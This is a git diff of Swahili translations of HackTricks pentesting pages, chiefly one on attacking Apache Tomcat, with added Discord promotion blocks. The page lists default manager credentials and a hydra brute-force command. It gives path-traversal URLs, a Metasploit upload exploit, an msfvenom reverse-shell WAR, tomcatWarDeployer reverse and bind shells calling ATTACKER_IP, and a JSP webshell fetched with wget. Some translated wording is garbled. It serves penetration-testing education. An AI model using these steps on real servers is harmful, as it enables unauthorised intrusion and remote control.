Tafadhali elewa kwamba hizi kazi zinaweza kuwa na njia nyingine za kuweka vichwa vya habari vya uongo katika maombi, kama vile:
|
Tafadhali elewa kwamba hizi kazi zinaweza kuwa na njia nyingine za kuweka vichwa vya habari vya kupangwa katika maombi, kama vile:
|
||||||
```php
|
```php
|
||||||
$url = "";
|
$url = "";
|
||||||
|
|
||||||
|
@ -60,16 +68,23 @@ $options = array(
|
||||||
$context = stream_context_create($options);
|
$context = stream_context_create($options);
|
||||||
$file = file_get_contents($url, false, $context);
|
$file = file_get_contents($url, false, $context);
|
||||||
```
|
```
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
@ -12,9 +12,17 @@
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Uchunguzi
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
* Kawaida hufanya kazi kwenye **bandari 8080**
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## Ugunduzi
|
||||||
|
|
||||||
|
* Kawaida inaendeshwa kwenye **bandari 8080**
|
||||||
* **Kosa la kawaida la Tomcat:**
|
* **Kosa la kawaida la Tomcat:**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
@ -31,15 +39,15 @@ curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||||
|
|
||||||
Kutambua maeneo sahihi ya **`/manager`** na **`/host-manager`** ni muhimu kwani majina yao yanaweza kubadilishwa. Tafutizo la nguvu linapendekezwa ili kutambua kurasa hizi.
|
Kutambua maeneo sahihi ya **`/manager`** na **`/host-manager`** ni muhimu kwani majina yao yanaweza kubadilishwa. Tafutizo la nguvu linapendekezwa ili kutambua kurasa hizi.
|
||||||
|
|
||||||
### **Uorodheshaji wa Majina ya Mtumiaji**
|
### **Uorodhishaji wa Majina ya Mtumiaji**
|
||||||
|
|
||||||
Kwa toleo la Tomcat la zamani kuliko 6, inawezekana kuorodhesha majina ya mtumiaji kupitia:
|
Kwa toleo la Tomcat la zamani kuliko 6, inawezekana kuorodhesha majina ya mtumiaji kupitia:
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/http/tomcat_enum
|
msf> use auxiliary/scanner/http/tomcat_enum
|
||||||
```
|
```
|
||||||
### **Maelezo ya Sera za Msingi**
|
### **Mikopo za Kimsingi**
|
||||||
|
|
||||||
**`/manager/html`** directory ni nyeti sana kwani inaruhusu kupakia na kutekeleza faili za WAR, ambazo zinaweza kusababisha utekelezaji wa nambari. Directory hii inalindwa na uthibitishaji wa HTTP wa msingi, na maelezo ya kawaida ni:
|
**`/manager/html`** directory ni nyeti sana kwani inaruhusu kupakia na kutekeleza faili za WAR, ambazo zinaweza kusababisha utekelezaji wa nambari. Directory hii inalindwa na uthibitishaji wa HTTP wa msingi, na mikopo ya kawaida ni:
|
||||||
|
|
||||||
* admin:admin
|
* admin:admin
|
||||||
* tomcat:tomcat
|
* tomcat:tomcat
|
||||||
|
@ -48,7 +56,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
|
||||||
* tomcat:s3cr3t
|
* tomcat:s3cr3t
|
||||||
* admin:tomcat
|
* admin:tomcat
|
||||||
|
|
||||||
Maelezo haya ya uthibitishaji yanaweza kujaribiwa kutumia:
|
Mikopo hii inaweza kujaribiwa kutumia:
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||||
```
|
```
|
||||||
|
@ -60,19 +68,21 @@ Kujaribu shambulio la nguvu kubwa kwenye directory ya meneja, mtu anaweza kutumi
|
||||||
```bash
|
```bash
|
||||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||||
```
|
```
|
||||||
## Mfumo wa Ufichuaji wa Nywila
|
## Makosa Yanayoweza Kutokea
|
||||||
|
|
||||||
Kupata `/auth.jsp` inaweza kufunua nywila katika mfumo wa nyuma chini ya hali za bahati.
|
### **Kufichua Nyuma ya Nenosiri**
|
||||||
|
|
||||||
## Ufichamishi wa URL Maradufu
|
Kupata `/auth.jsp` kunaweza kufichua nenosiri katika nyuma ya nyaraka chini ya hali za bahati.
|
||||||
|
|
||||||
Ufichamishi CVE-2007-1860 katika `mod_jk` inaruhusu ufikiaji wa njia ya ufichamishi wa URL maradufu, ikiruhusu ufikiaji usiohalali kwenye kiolesura cha usimamizi kupitia URL iliyoundwa kwa makini.
|
### **Ukodishaji wa URL Mara Mbili**
|
||||||
|
|
||||||
Ili kupata wavuti ya usimamizi wa Tomcat enda: `pathTomcat/%252E%252E/manager/html`
|
Udhaifu wa CVE-2007-1860 katika `mod_jk` huruhusu ukodishaji wa njia mara mbili, ukiwezesha ufikiaji usiohalali kwenye kiolesura cha usimamizi kupitia URL iliyoundwa kwa makini.
|
||||||
|
|
||||||
|
Ili kupata kwenye wavuti ya usimamizi wa Tomcat enda: `pathTomcat/%252E%252E/manager/html`
|
||||||
|
|
||||||
### /mifano
|
### /mifano
|
||||||
|
|
||||||
Toleo la Apache Tomcat 4.x hadi 7.x lina skripti za mfano ambazo zinaweza kufichua habari na kushambuliwa na mashambulizi ya msalaba wa tovuti (XSS). Skripti hizi, zilizoorodheshwa kwa kina, zinapaswa kuchunguzwa kwa ufikiaji usiohalali na uwezekano wa kutumiwa vibaya. Pata [habari zaidi hapa](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
Matoleo ya Apache Tomcat 4.x hadi 7.x yanajumuisha hati za mifano ambazo zinaweza kufichua habari na kushambuliwa na cross-site scripting (XSS). Hati hizi, zilizoorodheshwa kwa kina, zinapaswa kuchunguzwa kwa ufikiaji usiohalali na uwezekano wa kutumiwa vibaya. Pata [habari zaidi hapa](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||||
|
|
||||||
* /mifano/jsp/num/numguess.jsp
|
* /mifano/jsp/num/numguess.jsp
|
||||||
* /mifano/jsp/dates/date.jsp
|
* /mifano/jsp/dates/date.jsp
|
||||||
|
@ -97,9 +107,9 @@ Toleo la Apache Tomcat 4.x hadi 7.x lina skripti za mfano ambazo zinaweza kufich
|
||||||
* /mifano/servlet/SessionExample
|
* /mifano/servlet/SessionExample
|
||||||
* /tomcat-docs/appdev/sample/web/hello.jsp
|
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||||||
|
|
||||||
## Ufichuaji wa Njia
|
### **Udanganyifu wa Njia**
|
||||||
|
|
||||||
Katika [**miundombinu inayoweza kufichamika ya Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) unaweza kupata ufikiaji kwenye saraka zilizolindwa kwenye Tomcat kwa kutumia njia: `/..;/`
|
Katika [**mipangilio inayoweza kudhurika ya Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) unaweza kupata ufikiaji kwenye saraka zilizolindwa kwenye Tomcat kwa kutumia njia: `/..;/`
|
||||||
|
|
||||||
Kwa hivyo, kwa mfano, unaweza **kupata ukurasa wa msimamizi wa Tomcat** kwa kufikia: `www.vulnerable.com/lalala/..;/manager/html`
|
Kwa hivyo, kwa mfano, unaweza **kupata ukurasa wa msimamizi wa Tomcat** kwa kufikia: `www.vulnerable.com/lalala/..;/manager/html`
|
||||||
|
|
||||||
|
@ -111,7 +121,7 @@ Hatimaye, ikiwa una ufikiaji kwenye Meneja wa Programu ya Wavuti ya Tomcat, unaw
|
||||||
|
|
||||||
### Vizuizi
|
### Vizuizi
|
||||||
|
|
||||||
Utaweza tu kutekeleza WAR ikiwa una **mamlaka za kutosha** (majukumu: **admin**, **msimamizi** na **msimamizi-script**). Maelezo hayo yanaweza kupatikana chini ya _tomcat-users.xml_ kawaida iliyoainishwa katika `/usr/share/tomcat9/etc/tomcat-users.xml` (inatofautiana kati ya toleo) (angalia [POST](tomcat.md#post) sehemu).
|
Utaweza tu kutekeleza WAR ikiwa una **mamlaka za kutosha** (majukumu: **admin**, **manager** na **manager-script**). Maelezo hayo yanaweza kupatikana chini ya _tomcat-users.xml_ kawaida iliyoainishwa katika `/usr/share/tomcat9/etc/tomcat-users.xml` (inatofautiana kati ya matoleo) (angalia [POST](tomcat.md#post) sehemu).
|
||||||
```bash
|
```bash
|
||||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||||
|
|
||||||
|
@ -123,7 +133,7 @@ curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell
|
||||||
```
|
```
|
||||||
### Metasploit
|
### Metasploit
|
||||||
|
|
||||||
Metasploit ni chombo cha nguvu cha kufanya uchambuzi wa usalama na uchunguzi wa kina wa usalama wa mtandao.
|
Metasploit ni chombo cha nguvu cha kufanya uchambuzi wa usalama na uchunguzi wa kina wa usalama wa mtandao. Inatoa moduli nyingi zilizojengwa kwa ajili ya kufanya mashambulizi na kuchunguza mapungufu katika mifumo ya kompyuta. Metasploit inaweza kutumika kwa ufanisi katika upimaji wa usalama wa wavuti na kuchunguza mifumo ya Tomcat kwa mapungufu yanayoweza kudukuliwa.
|
||||||
```bash
|
```bash
|
||||||
use exploit/multi/http/tomcat_mgr_upload
|
use exploit/multi/http/tomcat_mgr_upload
|
||||||
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||||||
|
@ -132,15 +142,15 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
||||||
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||||||
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||||||
```
|
```
|
||||||
### MSFVenom Reverse Shell
|
### Kifaa cha Kugeuza Shell ya MSFVenom
|
||||||
|
|
||||||
1. Unda war kwa ajili ya kupeleka:
|
1. Unda war kwa ajili ya kupeleka:
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||||
```
|
```
|
||||||
2. Pakia faili ya `revshell.war` na ufikie (`/revshell/`):
|
### Weka faili la `revshell.war` na ufikie (`/revshell/`):
|
||||||
|
|
||||||
### Bind na reverse shell na [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
### Kufunga na kurejesha kabati na [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||||||
|
|
||||||
Katika hali fulani hii haifanyi kazi (kwa mfano toleo za zamani za sun)
|
Katika hali fulani hii haifanyi kazi (kwa mfano toleo za zamani za sun)
|
||||||
|
|
||||||
|
@ -152,9 +162,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||||
```bash
|
```bash
|
||||||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||||||
```
|
```
|
||||||
#### Bind shell
|
#### Kifungu cha Bind
|
||||||
|
|
||||||
#### Shell ya Kufunga
|
|
||||||
```bash
|
```bash
|
||||||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||||||
```
|
```
|
||||||
|
@ -195,11 +203,9 @@ jar -cvf ../webshell.war *
|
||||||
webshell.war is created
|
webshell.war is created
|
||||||
# Upload it
|
# Upload it
|
||||||
```
|
```
|
||||||
Unaweza pia kusakinisha hii (inaruhusu kupakia, kupakua na utekelezaji wa amri): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
### Mbinu ya Mikono 2
|
||||||
|
|
||||||
### Mbinu ya Kufanya kwa Mkono 2
|
Pata ganda la wavuti la JSP kama [hili](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) na unda faili la WAR:
|
||||||
|
|
||||||
Pata ganda la Wavuti la JSP kama [hili](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) na unda faili ya WAR:
|
|
||||||
```bash
|
```bash
|
||||||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||||||
zip -r backup.war cmd.jsp
|
zip -r backup.war cmd.jsp
|
||||||
|
@ -226,14 +232,20 @@ msf> use post/windows/gather/enum_tomcat
|
||||||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -5,13 +5,21 @@
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
### Epuka kukimbia kama root
|
### Epuka kukimbia kama root
|
||||||
|
|
||||||
Ili kuepuka kukimbia Tomcat kama root, usanidi wa kawaida sana ni kuweka seva ya Apache kwenye bandari 80/443 na, ikiwa njia inayotakiwa inalingana na regexp, ombi linatumwa kwa Tomcat ukiendesha kwenye bandari tofauti.
|
Ili kuepuka kukimbia Tomcat kama root, usanidi wa kawaida sana ni kuweka seva ya Apache kwenye bandari 80/443 na, ikiwa njia inayotakiwa inalingana na regexp, ombi linatumwa kwa Tomcat ukiendesha kwenye bandari tofauti.
|
||||||
|
@ -41,12 +49,12 @@ Ili kuepuka kukimbia Tomcat kama root, usanidi wa kawaida sana ni kuweka seva ya
|
||||||
└── Catalina
|
└── Catalina
|
||||||
└── localhost
|
└── localhost
|
||||||
```
|
```
|
||||||
* Kabrasha `bin` inahifadhi hati na binaries inayohitajika kuanza na kuendesha seva ya Tomcat.
|
* Kabrasha `bin` inahifadhi hati na binaries zinazohitajika kuanza na kuendesha seva ya Tomcat.
|
||||||
* Kabrasha `conf` inahifadhi faili mbalimbali za usanidi zinazotumiwa na Tomcat.
|
* Kabrasha `conf` inahifadhi faili mbalimbali za usanidi zinazotumiwa na Tomcat.
|
||||||
* Faili ya `tomcat-users.xml` inahifadhi siri za mtumiaji na majukumu yao yaliyopewa.
|
* Faili ya `tomcat-users.xml` inahifadhi siri za mtumiaji na majukumu yao yaliyopewa.
|
||||||
* Kabrasha `lib` inashikilia faili za JAR mbalimbali zinazohitajika kwa kufanya kazi kwa usahihi wa Tomcat.
|
* Kabrasha `lib` inashikilia JAR files mbalimbali zinazohitajika kwa kufanya kazi kwa usahihi wa Tomcat.
|
||||||
* Kabrasha `logs` na `temp` inahifadhi faili za logi za muda.
|
* Kabrasha `logs` na `temp` inahifadhi faili za logi za muda.
|
||||||
* Kabrasha `webapps` ndio mizizi ya wavuti ya msingi ya Tomcat na inahifadhi maombi yote. Kabrasha ya `work` inafanya kazi kama cache na hutumika kuhifadhi data wakati wa muda wa uendeshaji.
|
* Kabrasha `webapps` ni mizizi ya wavuti ya msingi ya Tomcat na inahifadhi maombi yote. Kabrasha ya `work` inafanya kazi kama cache na hutumika kuhifadhi data wakati wa muda wa uendeshaji.
|
||||||
|
|
||||||
Kila kabrasha ndani ya `webapps` inatarajiwa kuwa na muundo ufuatao.
|
Kila kabrasha ndani ya `webapps` inatarajiwa kuwa na muundo ufuatao.
|
||||||
```
|
```
|
||||||
|
@ -65,8 +73,8 @@ webapps/customapp
|
||||||
└── classes
|
└── classes
|
||||||
└── AdminServlet.class
|
└── AdminServlet.class
|
||||||
```
|
```
|
||||||
Faili muhimu zaidi kati ya haya ni `WEB-INF/web.xml`, ambalo hujulikana kama maelezo ya kupeleka. Faili hili hifadhi **taarifa kuhusu njia** zinazotumiwa na programu na darasa zinazoshughulikia njia hizo.\
|
Faili muhimu zaidi kati ya haya ni `WEB-INF/web.xml`, inayojulikana kama maelezo ya kupeleka. Faili hili hifadhi **taarifa kuhusu njia** zinazotumiwa na programu na darasa zinazoshughulikia njia hizo.\
|
||||||
Darasa zote zilizopangiliwa zinazotumiwa na programu zinapaswa kuhifadhiwa kwenye folda ya `WEB-INF/classes`. Darasa hizi zinaweza kuwa na mantiki muhimu ya biashara pamoja na taarifa nyeti. Upungufu wowote katika faili hizi unaweza kusababisha kuhatarisha kabisa tovuti. Folda ya `lib` hifadhi maktaba zinazohitajika na programu hiyo maalum. Folda ya `jsp` hifadhi [Kurasa za Seva za Jakarta (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), ambazo hapo awali zilijulikana kama `JavaServer Pages`, ambazo zinaweza kulinganishwa na faili za PHP kwenye seva ya Apache.
|
